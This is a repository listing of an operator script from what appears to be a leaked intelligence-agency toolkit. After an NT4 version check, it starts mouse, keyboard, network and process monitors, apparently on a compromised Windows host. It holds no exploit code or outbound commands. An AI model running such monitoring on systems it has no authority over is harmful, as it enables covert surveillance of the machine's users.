shadowbrokers-exploits/windows/Resources/Ep/Scripts/StartMonitors_0.eps
2017-04-14 11:45:07 +02:00

90 lines
No EOL
1.8 KiB
PostScript

#--------------------------------------------------------
# File: StartMonitors.eps
#
# Start State: Assumes nothing
# End State: All system monitors are started
# Errors:
# Comments:
#
# Modifications:
# 03/21/01 Created from batch file
# 12/17/01 Added check for nt4 for checknmagent
# 03/20/02 Added "monitor" prefix to commands
#--------------------------------------------------------
ifnot (prompt "Do you want to begin the monitors?") {
echo "Aborting script...";
return false;
}
@echo off;
# NT4
@record on;
bool $nt4 = true;
if (`systemversion`) {
int $major = GetCmdData("sysVerMajor");
if ($major != 4) {
$nt4 = false;
}
}
@record off;
bool $success = true;
echo "Starting mouse monitor:";
if (`monitor checkmouse`) {
echo " STARTED";
} else {
echo " FAILED";
$success = false;
}
echo "Starting keyboard monitor:";
if (`monitor checkkeyboard`) {
echo " STARTED";
} else {
echo " FAILED";
$success = false;
}
echo "Starting network monitor:";
if (`background netstatmon`) {
echo " STARTED";
} else {
echo " FAILED";
$success = false;
}
echo "Starting process monitor:";
if (`monitor processmonitor`) {
echo " STARTED";
} else {
echo " FAILED";
$success = false;
}
if ($nt4 == true) {
if (`monitor checknmagent`) {
echo " STARTED";
} else {
echo " FAILED";
$success = false;
}
}
@echo on;
echo "";
echo "---------------------------------------------------------------";
`channels`;
echo "---------------------------------------------------------------";
echo "";
if ($success == false) {
echo "Unable to start at least one monitor";
pause;
} else {
echo "The monitors have been started";
}
return $success;